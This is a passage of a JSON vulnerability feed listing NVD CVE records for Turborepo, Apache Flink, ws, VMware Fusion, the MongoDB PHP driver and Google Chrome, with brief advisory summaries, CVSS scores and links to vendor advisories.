2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45772","cveId":"CVE-2026-45772","aliases":[],"kind":"vulnerability","title":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases.","summary":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases. From 1.1.0 to before 2.9.14, Turborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed yarn --version from the project directory, which could cause Yarn to load and execute a project-controlled yarnPath from .yarnrc.yml. An attacker who controls repository contents could cause code execution when a user or CI system runs affected turbo, @turbo/codemod, or @turbo/workspace conversion commands. This vulnerability is fixed in 2.9.14.","detail":"Turborepo is a high-performance build system for JavaScript and TypeScript codebases. From 1.1.0 to before 2.9.14, Turborepo can be vulnerable to arbitrary code execution when run in untrusted repositories that contain malicious Yarn configuration. In affected versions, package manager detection executed yarn --version from the project directory, which could cause Yarn to load and execute a project-controlled yarnPath from .yarnrc.yml. An attacker who controls repository contents could cause code execution when a user or CI system runs affected turbo, @turbo/codemod, or @turbo/workspace conversion commands. This vulnerability is fixed in 2.9.14.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T16:16:14.987Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vercel","product":"turborepo","stacks":["Vercel","turborepo"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":0,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45772","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45772","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45772","type":"primary","publishedAt":"2026-05-15T16:16:14.987Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/turborepo/security/advisories/GHSA-3qcw-2rhx-2726","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35194","cveId":"CVE-2026-35194","aliases":[],"kind":"vulnerability","title":"Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary...","summary":"Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON functions (1.15.0+) and LIKE expressions with ESCAPE clauses (1.17.0+). User-controlled strings are interpolated into generated Java code without proper escaping, allowing attackers to break out of string literals and inject arbitrary expressions.\n\nUsers are recommended to upgrade to either version 1.20.4, 2.0.2, 2.1.2 or 2.2.1, which fixes this issue.","detail":"Code injection in SQL code generation in Apache Flink 1.15.0 through 1.20.x and 2.0.0 through 2.x allows authenticated users with query submission privileges to execute arbitrary code on TaskManagers via maliciously crafted SQL queries. The vulnerability affects JSON functions (1.15.0+) and LIKE expressions with ESCAPE clauses (1.17.0+). User-controlled strings are interpolated into generated Java code without proper escaping, allowing attackers to break out of string literals and inject arbitrary expressions.\n\nUsers are recommended to upgrade to either version 1.20.4, 2.0.2, 2.1.2 or 2.2.1, which fixes this issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T16:16:14.340Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"apache","product":"flink","stacks":["Apache","flink"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35194","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35194","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35194","type":"primary","publishedAt":"2026-05-15T16:16:14.340Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/qh52bw4hhvy7n2owd8b3bt51mz0lvj9x","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45736","cveId":"CVE-2026-45736","aliases":[],"kind":"vulnerability","title":"ws is an open source WebSocket client and server for Node.js.","summary":"ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.","detail":"ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T15:16:54.103Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"ws project","product":"ws","stacks":["Node.js","ws"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45736","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45736","type":"primary","publishedAt":"2026-05-15T15:16:54.103Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41702","cveId":"CVE-2026-41702","aliases":[],"kind":"vulnerability","title":"VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary.","summary":"VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed.","detail":"VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T07:16:18.923Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vmware","product":"fusion","stacks":["VMware","fusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41702","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41702","type":"primary","publishedAt":"2026-05-15T07:16:18.923Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/37454","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6811","cveId":"CVE-2026-6811","aliases":[],"kind":"vulnerability","title":"Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of...","summary":"Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of these BSON documents is not MongoDB Server.","detail":"Stack exhaustion vulnerability in the MongoDB PHP driver can cause application crashes when processing deeply nested BSON documents in unusual circumstances when the source of these BSON documents is not MongoDB Server.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T22:16:45.137Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"mongodb","product":"php driver","stacks":["Mongodb","php driver"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6811","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6811","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6811","type":"primary","publishedAt":"2026-05-14T22:16:45.137Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://jira.mongodb.org/browse/PHPC-2636","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8587","cveId":"CVE-2026-8587","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code...","summary":"Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:21.083Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8587","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8587","type":"primary","publishedAt":"2026-05-14T20:17:21.083Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8585","cveId":"CVE-2026-8585","aliases":[],"kind":"vulnerability","title":"Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of...","summary":"Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)","detail":"Inappropriate implementation in Media in Google Chrome on iOS prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:20.900Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8585","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8585","type":"primary","publishedAt":"2026-05-14T20:17:20.900Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8577","cveId":"CVE-2026-8577","aliases":[],"kind":"vulnerability","title":"Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.","summary":"Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Integer overflow in Fonts in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:20.063Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8577","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8577","type":"primary","publishedAt":"2026-05-14T20:17:20.063Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8575","cveId":"CVE-2026-8575","aliases":[],"kind":"vulnerability","title":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a...","summary":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in UI in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:19.863Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8575","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8575","type":"primary","publishedAt":"2026-05-14T20:17:19.863Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE 